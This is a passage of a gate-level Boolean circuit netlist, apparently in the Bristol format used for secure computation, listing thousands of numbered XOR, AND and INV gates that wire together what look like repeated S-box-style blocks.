28578 28567 28557 AND +2 1 28557 28485 28487 XOR +2 1 28489 28487 28493 XOR +2 1 34037 28493 28498 XOR +2 1 28580 28565 28556 AND +2 1 28556 28562 28507 XOR +2 1 28507 28498 28554 XOR +2 1 28556 28557 28459 XOR +2 1 28459 28460 28506 XOR +2 1 28506 28488 28505 XOR +2 1 28559 28505 28553 XOR +2 1 28577 28568 28555 AND +2 1 28555 28558 28508 XOR +2 1 28555 28561 28512 XOR +2 1 28512 28484 28499 XOR +2 1 28507 28499 28551 XOR +2 1 28556 28508 28502 XOR +2 1 28488 28508 28462 XOR +2 1 28462 28487 28552 XOR +2 1 28493 28512 28461 XOR +2 1 34035 28461 28504 XOR +2 1 28559 28502 28458 XOR +2 1 34031 28458 28546 XOR +2 1 28554 28553 28550 AND +2 1 28550 28504 28545 XOR +2 1 28550 28552 28549 XOR +2 1 28551 28549 28548 AND +2 1 28548 28504 28547 XOR +2 1 28548 28560 28453 XOR +2 1 28453 28489 28449 XOR +2 1 34037 28449 28452 XOR +2 1 28548 28498 28450 XOR +2 1 34035 28449 28448 XOR +2 1 28545 28546 28544 AND +2 1 28544 28552 28543 XOR +2 1 28550 28544 28542 XOR +2 1 28544 28502 28457 XOR +2 1 28544 28561 28456 XOR +2 1 28456 28558 28451 XOR +2 1 28451 28452 28535 XOR +2 1 28552 28542 28541 AND +2 1 28541 28549 28539 XOR +2 1 28541 28559 28511 XOR +2 1 28511 28505 28533 XOR +2 1 34031 28511 28494 XOR +2 1 28494 28457 28540 XOR +2 1 28547 28539 28538 AND +2 1 28538 28507 28497 XOR +2 1 28497 28499 28537 XOR +2 1 28538 28562 28455 XOR +2 1 28494 28455 28447 XOR +2 1 28484 28447 28454 XOR +2 1 28451 28454 28536 XOR +2 1 28497 28450 28534 XOR +2 1 28447 28448 28532 XOR +2 1 28533 28570 28531 AND +2 1 28540 28569 28530 AND +2 1 28543 34030 28529 AND +2 1 28529 28531 28510 XOR +2 1 28534 28564 28528 AND +2 1 28537 28576 28527 AND +2 1 28527 28528 28513 XOR +2 1 28547 28566 28526 AND +2 1 28526 28527 28464 XOR +2 1 28535 28567 28525 AND +2 1 28532 28565 28524 AND +2 1 28524 28513 28503 XOR +2 1 28524 28527 28479 XOR +1 1 28479 28476 INV +2 1 28524 28525 28475 XOR +2 1 28525 28503 28463 XOR +2 1 28536 28568 28523 AND +2 1 28533 28574 28522 AND +2 1 28540 28571 28521 AND +2 1 28543 28575 28520 AND +2 1 28520 28503 28469 XOR +1 1 28469 28466 INV +2 1 28534 28579 28519 AND +2 1 28519 28523 28495 XOR +2 1 28528 28519 28480 XOR +1 1 28495 28473 INV +2 1 28537 28572 28518 AND +2 1 28526 28518 28482 XOR +2 1 28547 28573 28517 AND +2 1 28473 28517 28472 XOR +2 1 28472 28510 28468 XOR +2 1 28535 28578 28516 AND +2 1 28516 28468 28471 XOR +2 1 28532 28580 28515 AND +2 1 28515 28516 28509 XOR +2 1 28521 28509 28491 XOR +2 1 28522 28491 28492 XOR +2 1 28530 28492 28496 XOR +2 1 28531 28496 28501 XOR +2 1 28513 28501 36040 XOR +2 1 28482 28509 28478 XOR +2 1 28510 28478 28481 XOR +2 1 28480 28481 28584 XOR +2 1 28473 28478 28477 XOR +2 1 28476 28477 28583 XOR +2 1 28501 28475 28582 XOR +2 1 28491 28468 28467 XOR +2 1 28466 28467 36038 XOR +2 1 28529 28496 28465 XOR +2 1 28464 28465 36039 XOR +2 1 28492 28463 36043 XOR +1 1 36039 9161 INV +2 1 28536 28577 28514 AND +2 1 28525 28514 28474 XOR +1 1 28474 28470 INV +2 1 28470 28471 28581 XOR +1 1 28583 36037 INV +1 1 28582 36042 INV +1 1 28581 36041 INV +1 1 36038 9168 INV +2 1 8964 8942 8831 XOR +2 1 8831 8832 8830 XOR +1 1 8830 35668 INV +2 1 35668 638 34023 XOR +2 1 34023 34025 24006 XOR +2 1 34024 24006 24008 XOR +2 1 34028 24008 24090 XOR +2 1 34027 24008 24087 XOR +2 1 24013 24008 24089 XOR +2 1 34023 24099 24095 XOR +2 1 24006 24101 24093 XOR +2 1 34022 24093 24092 XOR +2 1 34023 34024 24023 XOR +2 1 24023 24096 24094 XOR +2 1 24101 24023 24097 XOR +2 1 24006 23969 24091 XOR +2 1 34029 34023 24102 XOR +2 1 24093 24097 24086 AND +2 1 24086 24009 24012 XOR +2 1 24094 24092 24085 AND +2 1 24079 24085 24030 XOR +2 1 24102 24087 24083 AND +2 1 24083 24007 24011 XOR +2 1 24099 24095 24082 AND +2 1 24096 24089 24081 AND +2 1 24101 24090 24080 AND +2 1 24080 24008 24010 XOR +2 1 24012 24010 24016 XOR +2 1 34029 24016 24021 XOR +2 1 24030 24021 24077 XOR +2 1 24079 24080 23982 XOR +2 1 23982 23983 24029 XOR +2 1 24029 24011 24028 XOR +2 1 24082 24028 24076 XOR +2 1 24100 24091 24078 AND +2 1 24078 24081 24031 XOR +2 1 24078 24084 24035 XOR +2 1 24035 24007 24022 XOR +2 1 24030 24022 24074 XOR +2 1 24079 24031 24025 XOR +2 1 24011 24031 23985 XOR +2 1 23985 24010 24075 XOR +2 1 24016 24035 23984 XOR +2 1 34027 23984 24027 XOR +2 1 24082 24025 23981 XOR +2 1 34023 23981 24069 XOR +2 1 24077 24076 24073 AND +2 1 24073 24027 24068 XOR +2 1 24073 24075 24072 XOR +2 1 24074 24072 24071 AND +2 1 24071 24027 24070 XOR +2 1 24071 24083 23976 XOR +2 1 23976 24012 23972 XOR +2 1 34029 23972 23975 XOR +2 1 24071 24021 23973 XOR +2 1 34027 23972 23971 XOR +2 1 24068 24069 24067 AND +2 1 24067 24075 24066 XOR +2 1 24073 24067 24065 XOR +2 1 24067 24025 23980 XOR +2 1 24067 24084 23979 XOR +2 1 23979 24081 23974 XOR +2 1 23974 23975 24058 XOR +2 1 24075 24065 24064 AND +2 1 24064 24072 24062 XOR +2 1 24064 24082 24034 XOR +2 1 24034 24028 24056 XOR +2 1 34023 24034 24017 XOR +2 1 24017 23980 24063 XOR +2 1 24070 24062 24061 AND +2 1 24061 24030 24020 XOR +2 1 24020 24022 24060 XOR +2 1 24061 24085 23978 XOR +2 1 24017 23978 23970 XOR +2 1 24007 23970 23977 XOR +2 1 23974 23977 24059 XOR +2 1 24020 23973 24057 XOR +2 1 23970 23971 24055 XOR +2 1 24056 24093 24054 AND +2 1 24063 24092 24053 AND +2 1 24066 34022 24052 AND +2 1 24052 24054 24033 XOR +2 1 24057 24087 24051 AND +2 1 24060 24099 24050 AND +2 1 24050 24051 24036 XOR +2 1 24070 24089 24049 AND +2 1 24049 24050 23987 XOR +2 1 24058 24090 24048 AND +2 1 24055 24088 24047 AND +2 1 24047 24036 24026 XOR +2 1 24047 24050 24002 XOR +1 1 24002 23999 INV +2 1 24047 24048 23998 XOR +2 1 24048 24026 23986 XOR +2 1 24059 24091 24046 AND +2 1 24056 24097 24045 AND +2 1 24063 24094 24044 AND +2 1 24066 24098 24043 AND +2 1 24043 24026 23992 XOR +1 1 23992 23989 INV +2 1 24057 24102 24042 AND +2 1 24042 24046 24018 XOR +2 1 24051 24042 24003 XOR +1 1 24018 23996 INV +2 1 24060 24095 24041 AND +2 1 24049 24041 24005 XOR +2 1 24070 24096 24040 AND +2 1 23996 24040 23995 XOR +2 1 23995 24033 23991 XOR +2 1 24058 24101 24039 AND +2 1 24039 23991 23994 XOR +2 1 24055 24103 24038 AND +2 1 24038 24039 24032 XOR +2 1 24044 24032 24014 XOR +2 1 24045 24014 24015 XOR +2 1 24053 24015 24019 XOR +2 1 24054 24019 24024 XOR +2 1 24036 24024 36054 XOR +2 1 24005 24032 24001 XOR +2 1 24033 24001 24004 XOR +2 1 24003 24004 24107 XOR +2 1 23996 24001 24000 XOR +2 1 23999 24000 24106 XOR +2 1 24024 23998 24105 XOR +2 1 24014 23991 23990 XOR +2 1 23989 23990 36052 XOR +2 1 24052 24019 23988 XOR +2 1 23987 23988 36053 XOR +2 1 24015 23986 36056 XOR +2 1 24059 24100 24037 AND +2 1 24048 24037 23997 XOR +1 1 23997 23993 INV +2 1 23993 23994 24104 XOR +1 1 24105 36055 INV +2 1 8943 8942 8836 XOR +2 1 35799 8836 35685 XOR +2 1 35685 621 34040 XOR +2 1 34040 34042 30400 XOR +2 1 30304 30400 30385 XOR +2 1 34041 34040 30280 XOR +2 1 34045 34040 30397 XOR +2 1 30400 30385 30376 AND +2 1 8835 33140 8839 XOR +2 1 8838 8839 8837 XOR +1 1 8837 35684 INV +2 1 35684 622 34039 XOR +2 1 34039 34041 30303 XOR +2 1 34040 30303 30305 XOR +2 1 34044 30305 30387 XOR +2 1 34043 30305 30384 XOR +2 1 30310 30305 30386 XOR +2 1 34039 30396 30392 XOR +2 1 30303 30398 30390 XOR +2 1 34038 30390 30389 XOR +2 1 34039 34040 30320 XOR +2 1 30320 30393 30391 XOR +2 1 30398 30320 30394 XOR +2 1 30303 30266 30388 XOR +2 1 34045 34039 30399 XOR +2 1 30390 30394 30383 AND +2 1 30383 30306 30309 XOR +2 1 30391 30389 30382 AND +2 1 30376 30382 30327 XOR +2 1 30399 30384 30380 AND +2 1 30380 30304 30308 XOR +2 1 30396 30392 30379 AND +2 1 30393 30386 30378 AND +2 1 30398 30387 30377 AND +2 1 30377 30305 30307 XOR +2 1 30309 30307 30313 XOR +2 1 34045 30313 30318 XOR +2 1 30327 30318 30374 XOR +2 1 30376 30377 30279 XOR +2 1 30279 30280 30326 XOR +2 1 30326 30308 30325 XOR +2 1 30379 30325 30373 XOR +2 1 30397 30388 30375 AND +2 1 30375 30378 30328 XOR +2 1 30375 30381 30332 XOR +2 1 30332 30304 30319 XOR +2 1 30327 30319 30371 XOR +2 1 30376 30328 30322 XOR +2 1 30308 30328 30282 XOR +2 1 30282 30307 30372 XOR +2 1 30313 30332 30281 XOR +2 1 34043 30281 30324 XOR +2 1 30379 30322 30278 XOR +2 1 34039 30278 30366 XOR +2 1 30374 30373 30370 AND +2 1 30370 30324 30365 XOR +2 1 30370 30372 30369 XOR +2 1 30371 30369 30368 AND +2 1 30368 30324 30367 XOR +2 1 30368 30380 30273 XOR +2 1 30273 30309 30269 XOR +2 1 34045 30269 30272 XOR +2 1 30368 30318 30270 XOR +2 1 34043 30269 30268 XOR +2 1 30365 30366 30364 AND +2 1 30364 30372 30363 XOR +2 1 30370 30364 30362 XOR +2 1 30364 30322 30277 XOR +2 1 30364 30381 30276 XOR +2 1 30276 30378 30271 XOR +2 1 30271 30272 30355 XOR +2 1 30372 30362 30361 AND +2 1 30361 30369 30359 XOR +2 1 30361 30379 30331 XOR +2 1 30331 30325 30353 XOR +2 1 34039 30331 30314 XOR +2 1 30314 30277 30360 XOR +2 1 30367 30359 30358 AND +2 1 30358 30327 30317 XOR +2 1 30317 30319 30357 XOR +2 1 30358 30382 30275 XOR +2 1 30314 30275 30267 XOR +2 1 30304 30267 30274 XOR +2 1 30271 30274 30356 XOR +2 1 30317 30270 30354 XOR +2 1 30267 30268 30352 XOR +2 1 30353 30390 30351 AND +2 1 30360 30389 30350 AND +2 1 30363 34038 30349 AND +2 1 30349 30351 30330 XOR +2 1 30354 30384 30348 AND +2 1 30357 30396 30347 AND +2 1 30347 30348 30333 XOR +2 1 30367 30386 30346 AND +2 1 30346 30347 30284 XOR +2 1 30355 30387 30345 AND +2 1 30352 30385 30344 AND +2 1 30344 30333 30323 XOR +2 1 30344 30347 30299 XOR +1 1 30299 30296 INV +2 1 30344 30345 30295 XOR +2 1 30345 30323 30283 XOR +2 1 30356 30388 30343 AND +2 1 30353 30394 30342 AND +2 1 30360 30391 30341 AND +2 1 30363 30395 30340 AND +2 1 30340 30323 30289 XOR +1 1 30289 30286 INV +2 1 30354 30399 30339 AND +2 1 30339 30343 30315 XOR +2 1 30348 30339 30300 XOR +1 1 30315 30293 INV +2 1 30357 30392 30338 AND +2 1 30346 30338 30302 XOR +2 1 30367 30393 30337 AND +2 1 30293 30337 30292 XOR +2 1 30292 30330 30288 XOR +2 1 30355 30398 30336 AND +2 1 30336 30288 30291 XOR +2 1 30352 30400 30335 AND +2 1 30335 30336 30329 XOR +2 1 30341 30329 30311 XOR +2 1 30342 30311 30312 XOR +2 1 30350 30312 30316 XOR +2 1 30351 30316 30321 XOR +2 1 30333 30321 36027 XOR +1 1 36027 9252 INV +2 1 30302 30329 30298 XOR +2 1 30330 30298 30301 XOR +2 1 30300 30301 30404 XOR +2 1 30293 30298 30297 XOR +2 1 30296 30297 30403 XOR +2 1 30321 30295 30402 XOR +2 1 30311 30288 30287 XOR +2 1 30286 30287 36025 XOR +2 1 30349 30316 30285 XOR +2 1 30284 30285 36026 XOR +2 1 30312 30283 36028 XOR +2 1 30356 30397 30334 AND +2 1 30345 30334 30294 XOR +1 1 30294 30290 INV +2 1 30290 30291 30401 XOR +1 1 36054 9185 INV +1 1 24106 33041 INV +1 1 24107 33042 INV +1 1 24104 33048 INV +2 1 24105 33048 9358 XOR +1 1 27044 33097 INV +1 1 27041 33103 INV +1 1 27043 33104 INV +1 1 28584 33129 INV +1 1 30404 33173 INV +1 1 30401 33178 INV +1 1 30402 33179 INV +2 1 36028 33179 9247 XOR +1 1 30403 33180 INV +1 1 30823 33185 INV +2 1 33185 33205 8924 XOR +2 1 8854 33185 8857 XOR +1 1 30824 33186 INV +2 1 33186 33206 8944 XOR +2 1 8944 8906 8703 XOR +1 1 30821 33191 INV +1 1 30822 33192 INV +2 1 33192 33191 8849 XOR +2 1 33192 33212 8917 XOR +2 1 8929 8917 8887 XOR +1 1 8128 33244 INV +2 1 33244 32865 7949 XOR +2 1 7948 7949 35555 XOR +2 1 33244 35644 7941 XOR +2 1 33244 35643 7944 XOR +2 1 35555 678 33983 XOR +2 1 33983 31656 31652 XOR +2 1 33983 33984 31580 XOR +2 1 31580 31653 31651 XOR +2 1 33989 33983 31659 XOR +2 1 31656 31652 31639 AND +2 1 7943 7944 35557 XOR +2 1 35557 676 33985 XOR +2 1 33983 33985 31563 XOR +2 1 33984 31563 31565 XOR +2 1 33988 31565 31647 XOR +2 1 33987 31565 31644 XOR +2 1 31570 31565 31646 XOR +2 1 33985 33984 31540 XOR +2 1 31659 31644 31640 AND +2 1 31640 31564 31568 XOR +2 1 31653 31646 31638 AND +2 1 7940 7941 35558 XOR +2 1 35558 675 33986 XOR +2 1 33986 33988 31566 XOR +2 1 33986 33989 31658 XOR +2 1 31658 31580 31654 XOR +2 1 31563 31658 31650 XOR +2 1 33982 31650 31649 XOR +2 1 33984 33986 31660 XOR +2 1 31564 31660 31645 XOR +2 1 31566 31564 31526 XOR +2 1 31563 31526 31648 XOR +2 1 31566 33987 31525 XOR +2 1 33982 31525 31655 XOR +2 1 31650 31654 31643 AND +2 1 31643 31566 31569 XOR +2 1 31651 31649 31642 AND +2 1 31655 33982 31641 AND +2 1 31658 31647 31637 AND +2 1 31637 31565 31567 XOR +2 1 31569 31567 31573 XOR +2 1 33989 31573 31578 XOR +2 1 31660 31645 31636 AND +2 1 31636 31642 31587 XOR +2 1 31587 31578 31634 XOR +2 1 31636 31637 31539 XOR +2 1 31539 31540 31586 XOR +2 1 31586 31568 31585 XOR +2 1 31639 31585 31633 XOR +2 1 31657 31648 31635 AND +2 1 31635 31638 31588 XOR +2 1 31635 31641 31592 XOR +2 1 31592 31564 31579 XOR +2 1 31587 31579 31631 XOR +2 1 31636 31588 31582 XOR +2 1 31568 31588 31542 XOR +2 1 31542 31567 31632 XOR +2 1 31573 31592 31541 XOR +2 1 33987 31541 31584 XOR +2 1 31639 31582 31538 XOR +2 1 33983 31538 31626 XOR +2 1 31634 31633 31630 AND +2 1 31630 31584 31625 XOR +2 1 31630 31632 31629 XOR +2 1 31631 31629 31628 AND +2 1 31628 31584 31627 XOR +2 1 31628 31640 31533 XOR +2 1 31533 31569 31529 XOR +2 1 33989 31529 31532 XOR +2 1 31628 31578 31530 XOR +2 1 33987 31529 31528 XOR +2 1 31625 31626 31624 AND +2 1 31624 31632 31623 XOR +2 1 31630 31624 31622 XOR +2 1 31624 31582 31537 XOR +2 1 31624 31641 31536 XOR +2 1 31536 31638 31531 XOR +2 1 31531 31532 31615 XOR +2 1 31632 31622 31621 AND +2 1 31621 31629 31619 XOR +2 1 31621 31639 31591 XOR +2 1 31591 31585 31613 XOR +2 1 33983 31591 31574 XOR +2 1 31574 31537 31620 XOR +2 1 31627 31619 31618 AND +2 1 31618 31587 31577 XOR +2 1 31577 31579 31617 XOR +2 1 31618 31642 31535 XOR +2 1 31574 31535 31527 XOR +2 1 31564 31527 31534 XOR +2 1 31531 31534 31616 XOR +2 1 31577 31530 31614 XOR +2 1 31527 31528 31612 XOR +2 1 31613 31650 31611 AND +2 1 31620 31649 31610 AND +2 1 31623 33982 31609 AND +2 1 31609 31611 31590 XOR +2 1 31614 31644 31608 AND +2 1 31617 31656 31607 AND +2 1 31607 31608 31593 XOR +2 1 31627 31646 31606 AND +2 1 31606 31607 31544 XOR +2 1 31615 31647 31605 AND +2 1 31612 31645 31604 AND +2 1 31604 31593 31583 XOR +2 1 31604 31607 31559 XOR +1 1 31559 31556 INV +2 1 31604 31605 31555 XOR +2 1 31605 31583 31543 XOR +2 1 31616 31648 31603 AND +2 1 31613 31654 31602 AND +2 1 31620 31651 31601 AND +2 1 31623 31655 31600 AND +2 1 31600 31583 31549 XOR +1 1 31549 31546 INV +2 1 31614 31659 31599 AND +2 1 31599 31603 31575 XOR +2 1 31608 31599 31560 XOR +1 1 31575 31553 INV +2 1 31617 31652 31598 AND +2 1 31606 31598 31562 XOR +2 1 31627 31653 31597 AND +2 1 31553 31597 31552 XOR +2 1 31552 31590 31548 XOR +2 1 31615 31658 31596 AND +2 1 31596 31548 31551 XOR +2 1 31612 31660 31595 AND +2 1 31595 31596 31589 XOR +2 1 31601 31589 31571 XOR +2 1 31602 31571 31572 XOR +2 1 31610 31572 31576 XOR +2 1 31611 31576 31581 XOR +2 1 31593 31581 35849 XOR +2 1 35845 35849 8927 XOR +2 1 31562 31589 31558 XOR +2 1 31590 31558 31561 XOR +2 1 31560 31561 31664 XOR +2 1 31553 31558 31557 XOR +2 1 31556 31557 31663 XOR +2 1 31581 31555 31662 XOR +2 1 31571 31548 31547 XOR +2 1 31546 31547 35847 XOR +2 1 35843 35847 8946 XOR +1 1 8946 8757 INV +2 1 31609 31576 31545 XOR +2 1 31544 31545 35848 XOR +2 1 35844 35848 8936 XOR +2 1 31572 31543 35850 XOR +2 1 35835 35850 8904 XOR +1 1 8904 8669 INV +2 1 8904 35848 8673 XOR +2 1 35846 35850 8896 XOR +1 1 8896 8990 INV +2 1 8990 35844 8711 XOR +2 1 8990 33189 8716 XOR +2 1 8990 35845 8708 XOR +2 1 31616 31657 31594 AND +2 1 31605 31594 31554 XOR +1 1 31554 31550 INV +2 1 31550 31551 31661 XOR +2 1 8669 35847 8670 XOR +1 1 31663 33209 INV +2 1 33189 33209 8950 XOR +2 1 8757 33209 8755 XOR +1 1 31664 33210 INV +2 1 8669 33210 8667 XOR +2 1 33190 33210 8958 XOR +2 1 8958 8904 8758 XOR +1 1 31661 33215 INV +2 1 33195 33215 8921 XOR +2 1 8921 35849 8754 XOR +1 1 8754 8752 INV +1 1 31662 33216 INV +2 1 8896 33216 8744 XOR +2 1 33196 33216 8910 XOR +2 1 8910 33215 8747 XOR +1 1 8127 33245 INV +2 1 33245 35660 8110 XOR +2 1 33245 32873 8115 XOR +2 1 8114 8115 8113 XOR +1 1 8113 35571 INV +2 1 35571 662 33999 XOR +2 1 33999 28716 28712 XOR +2 1 33999 34000 28640 XOR +2 1 28640 28713 28711 XOR +2 1 34005 33999 28719 XOR +2 1 28716 28712 28699 AND +2 1 33245 35651 7929 XOR +2 1 7929 7930 8199 XOR +2 1 8199 8143 35574 XOR +2 1 35574 659 34002 XOR +2 1 34002 34004 28626 XOR +2 1 34002 34005 28718 XOR +2 1 28718 28640 28714 XOR +2 1 34000 34002 28720 XOR +2 1 28624 28720 28705 XOR +2 1 28626 28624 28586 XOR +2 1 28626 34003 28585 XOR +2 1 33998 28585 28715 XOR +2 1 28715 33998 28701 AND +2 1 28720 28705 28696 AND +2 1 8109 8110 35573 XOR +2 1 35573 660 34001 XOR +2 1 33999 34001 28623 XOR +2 1 34000 28623 28625 XOR +2 1 34004 28625 28707 XOR +2 1 34003 28625 28704 XOR +2 1 28630 28625 28706 XOR +2 1 28623 28718 28710 XOR +2 1 33998 28710 28709 XOR +2 1 34001 34000 28600 XOR +2 1 28623 28586 28708 XOR +2 1 28710 28714 28703 AND +2 1 28703 28626 28629 XOR +2 1 28711 28709 28702 AND +2 1 28696 28702 28647 XOR +2 1 28719 28704 28700 AND +2 1 28700 28624 28628 XOR +2 1 28713 28706 28698 AND +2 1 28718 28707 28697 AND +2 1 28697 28625 28627 XOR +2 1 28629 28627 28633 XOR +2 1 34005 28633 28638 XOR +2 1 28647 28638 28694 XOR +2 1 28696 28697 28599 XOR +2 1 28599 28600 28646 XOR +2 1 28646 28628 28645 XOR +2 1 28699 28645 28693 XOR +2 1 28717 28708 28695 AND +2 1 28695 28698 28648 XOR +2 1 28695 28701 28652 XOR +2 1 28652 28624 28639 XOR +2 1 28647 28639 28691 XOR +2 1 28696 28648 28642 XOR +2 1 28628 28648 28602 XOR +2 1 28602 28627 28692 XOR +2 1 28633 28652 28601 XOR +2 1 34003 28601 28644 XOR +2 1 28699 28642 28598 XOR +2 1 33999 28598 28686 XOR +2 1 28694 28693 28690 AND +2 1 28690 28644 28685 XOR +2 1 28690 28692 28689 XOR +2 1 28691 28689 28688 AND +2 1 28688 28644 28687 XOR +2 1 28688 28700 28593 XOR +2 1 28593 28629 28589 XOR +2 1 34005 28589 28592 XOR +2 1 28688 28638 28590 XOR +2 1 34003 28589 28588 XOR +2 1 28685 28686 28684 AND +2 1 28684 28692 28683 XOR +2 1 28690 28684 28682 XOR +2 1 28684 28642 28597 XOR +2 1 28684 28701 28596 XOR +2 1 28596 28698 28591 XOR +2 1 28591 28592 28675 XOR +2 1 28692 28682 28681 AND +2 1 28681 28689 28679 XOR +2 1 28681 28699 28651 XOR +2 1 28651 28645 28673 XOR +2 1 33999 28651 28634 XOR +2 1 28634 28597 28680 XOR +2 1 28687 28679 28678 AND +2 1 28678 28647 28637 XOR +2 1 28637 28639 28677 XOR +2 1 28678 28702 28595 XOR +2 1 28634 28595 28587 XOR +2 1 28624 28587 28594 XOR +2 1 28591 28594 28676 XOR +2 1 28637 28590 28674 XOR +2 1 28587 28588 28672 XOR +2 1 28673 28710 28671 AND +2 1 28680 28709 28670 AND +2 1 28683 33998 28669 AND +2 1 28669 28671 28650 XOR +2 1 28674 28704 28668 AND +2 1 28677 28716 28667 AND +2 1 28667 28668 28653 XOR +2 1 28687 28706 28666 AND +2 1 28666 28667 28604 XOR +2 1 28675 28707 28665 AND +2 1 28672 28705 28664 AND +2 1 28664 28653 28643 XOR +2 1 28664 28667 28619 XOR +1 1 28619 28616 INV +2 1 28664 28665 28615 XOR +2 1 28665 28643 28603 XOR +2 1 28676 28708 28663 AND +2 1 28673 28714 28662 AND +2 1 28680 28711 28661 AND +2 1 28683 28715 28660 AND +2 1 28660 28643 28609 XOR +1 1 28609 28606 INV +2 1 28674 28719 28659 AND +2 1 28659 28663 28635 XOR +2 1 28668 28659 28620 XOR +1 1 28635 28613 INV +2 1 28677 28712 28658 AND +2 1 28666 28658 28622 XOR +2 1 28687 28713 28657 AND +2 1 28613 28657 28612 XOR +2 1 28612 28650 28608 XOR +2 1 28675 28718 28656 AND +2 1 28656 28608 28611 XOR +2 1 28672 28720 28655 AND +2 1 28655 28656 28649 XOR +2 1 28661 28649 28631 XOR +2 1 28662 28631 28632 XOR +2 1 28670 28632 28636 XOR +2 1 28671 28636 28641 XOR +2 1 28653 28641 35822 XOR +2 1 35817 35822 8926 XOR +2 1 28622 28649 28618 XOR +2 1 28650 28618 28621 XOR +2 1 28620 28621 28724 XOR +2 1 28613 28618 28617 XOR +2 1 28616 28617 28723 XOR +2 1 28641 28615 28722 XOR +2 1 28631 28608 28607 XOR +2 1 28606 28607 35820 XOR +2 1 28669 28636 28605 XOR +2 1 28604 28605 35821 XOR +1 1 35821 8653 INV +2 1 28632 28603 35823 XOR +2 1 35818 35823 8898 XOR +2 1 28676 28717 28654 AND +2 1 28665 28654 28614 XOR +1 1 28614 28610 INV +2 1 28610 28611 28721 XOR +1 1 28723 35819 INV +2 1 33046 35819 8937 XOR +2 1 35816 35821 8930 XOR +1 1 8926 8766 INV +2 1 35820 33046 8811 XOR +1 1 8898 8792 INV +2 1 8792 35816 8795 XOR +2 1 8792 35817 8791 XOR +2 1 8792 33046 8799 XOR +1 1 8930 8793 INV +2 1 8898 33220 8759 XOR +2 1 35815 35820 8933 XOR +1 1 8933 8784 INV +2 1 8784 35828 8782 XOR +2 1 28723 33047 8649 XOR +2 1 8648 8649 8986 XOR +2 1 35822 35816 8655 XOR +2 1 8654 8655 8984 XOR +2 1 8653 35815 8652 XOR +2 1 8651 8652 8985 XOR +1 1 28721 33134 INV +2 1 33052 33134 8922 XOR +2 1 33134 35817 8809 XOR +2 1 8922 33219 8781 XOR +1 1 8781 8779 INV +2 1 8922 8916 8788 XOR +1 1 28722 33135 INV +2 1 33135 33134 8778 XOR +1 1 28724 33136 INV +2 1 33047 33136 8938 XOR +1 1 8133 33246 INV +2 1 33246 35613 8056 XOR +2 1 33246 35596 8077 XOR +2 1 8076 8077 35478 XOR +2 1 35478 755 33906 XOR +2 1 33906 33909 8495 XOR +2 1 33906 33908 8403 XOR +2 1 33904 33906 8497 XOR +2 1 8401 8497 8482 XOR +2 1 8403 8401 8363 XOR +2 1 8497 8482 8473 AND +2 1 8403 33907 8362 XOR +2 1 33902 8362 8492 XOR +2 1 8492 33902 8478 AND +2 1 8056 8057 35489 XOR +2 1 35489 744 33917 XOR +2 1 33915 33917 31144 XOR +2 1 31144 31240 31225 XOR +2 1 33914 33917 31238 XOR +2 1 31238 31160 31234 XOR +2 1 31144 31150 31233 XOR +2 1 31160 31233 31231 XOR +2 1 31143 31238 31230 XOR +2 1 33910 31230 31229 XOR +2 1 31146 31144 31106 XOR +2 1 31143 31106 31228 XOR +2 1 33917 33911 31239 XOR +2 1 33917 33912 31237 XOR +2 1 31230 31234 31223 AND +2 1 31223 31146 31149 XOR +2 1 31231 31229 31222 AND +2 1 31239 31224 31220 AND +2 1 31220 31144 31148 XOR +2 1 31233 31226 31218 AND +2 1 31238 31227 31217 AND +2 1 31217 31145 31147 XOR +2 1 31149 31147 31153 XOR +2 1 33917 31153 31158 XOR +2 1 31240 31225 31216 AND +2 1 31216 31222 31167 XOR +2 1 31167 31158 31214 XOR +2 1 31216 31217 31119 XOR +2 1 31119 31120 31166 XOR +2 1 31166 31148 31165 XOR +2 1 31219 31165 31213 XOR +2 1 31237 31228 31215 AND +2 1 31215 31218 31168 XOR +2 1 31215 31221 31172 XOR +2 1 31172 31144 31159 XOR +2 1 31167 31159 31211 XOR +2 1 31216 31168 31162 XOR +2 1 31148 31168 31122 XOR +2 1 31122 31147 31212 XOR +2 1 31153 31172 31121 XOR +2 1 33915 31121 31164 XOR +2 1 31219 31162 31118 XOR +2 1 33911 31118 31206 XOR +2 1 31214 31213 31210 AND +2 1 31210 31164 31205 XOR +2 1 31210 31212 31209 XOR +2 1 31211 31209 31208 AND +2 1 31208 31164 31207 XOR +2 1 31208 31220 31113 XOR +2 1 31113 31149 31109 XOR +2 1 33917 31109 31112 XOR +2 1 31208 31158 31110 XOR +2 1 33915 31109 31108 XOR +2 1 31205 31206 31204 AND +2 1 31204 31212 31203 XOR +2 1 31210 31204 31202 XOR +2 1 31204 31162 31117 XOR +2 1 31204 31221 31116 XOR +2 1 31116 31218 31111 XOR +2 1 31111 31112 31195 XOR +2 1 31212 31202 31201 AND +2 1 31201 31209 31199 XOR +2 1 31201 31219 31171 XOR +2 1 31171 31165 31193 XOR +2 1 33911 31171 31154 XOR +2 1 31154 31117 31200 XOR +2 1 31207 31199 31198 AND +2 1 31198 31167 31157 XOR +2 1 31157 31159 31197 XOR +2 1 31198 31222 31115 XOR +2 1 31154 31115 31107 XOR +2 1 31144 31107 31114 XOR +2 1 31111 31114 31196 XOR +2 1 31157 31110 31194 XOR +2 1 31107 31108 31192 XOR +2 1 31193 31230 31191 AND +2 1 31200 31229 31190 AND +2 1 31203 33910 31189 AND +2 1 31189 31191 31170 XOR +2 1 31194 31224 31188 AND +2 1 31197 31236 31187 AND +2 1 31187 31188 31173 XOR +2 1 31207 31226 31186 AND +2 1 31186 31187 31124 XOR +2 1 31195 31227 31185 AND +2 1 31192 31225 31184 AND +2 1 31184 31173 31163 XOR +2 1 31184 31187 31139 XOR +1 1 31139 31136 INV +2 1 31184 31185 31135 XOR +2 1 31185 31163 31123 XOR +2 1 31196 31228 31183 AND +2 1 31193 31234 31182 AND +2 1 31200 31231 31181 AND +2 1 31203 31235 31180 AND +2 1 31180 31163 31129 XOR +1 1 31129 31126 INV +2 1 31194 31239 31179 AND +2 1 31179 31183 31155 XOR +2 1 31188 31179 31140 XOR +1 1 31155 31133 INV +2 1 31197 31232 31178 AND +2 1 31186 31178 31142 XOR +2 1 31207 31233 31177 AND +2 1 31133 31177 31132 XOR +2 1 31132 31170 31128 XOR +2 1 31195 31238 31176 AND +2 1 31176 31128 31131 XOR +2 1 31192 31240 31175 AND +2 1 31175 31176 31169 XOR +2 1 31181 31169 31151 XOR +2 1 31182 31151 31152 XOR +2 1 31190 31152 31156 XOR +2 1 31191 31156 31161 XOR +2 1 31173 31161 35826 XOR +2 1 35826 35830 8918 XOR +2 1 8922 8918 8762 XOR +2 1 8793 8918 8790 XOR +1 1 35826 8765 INV +2 1 8765 35822 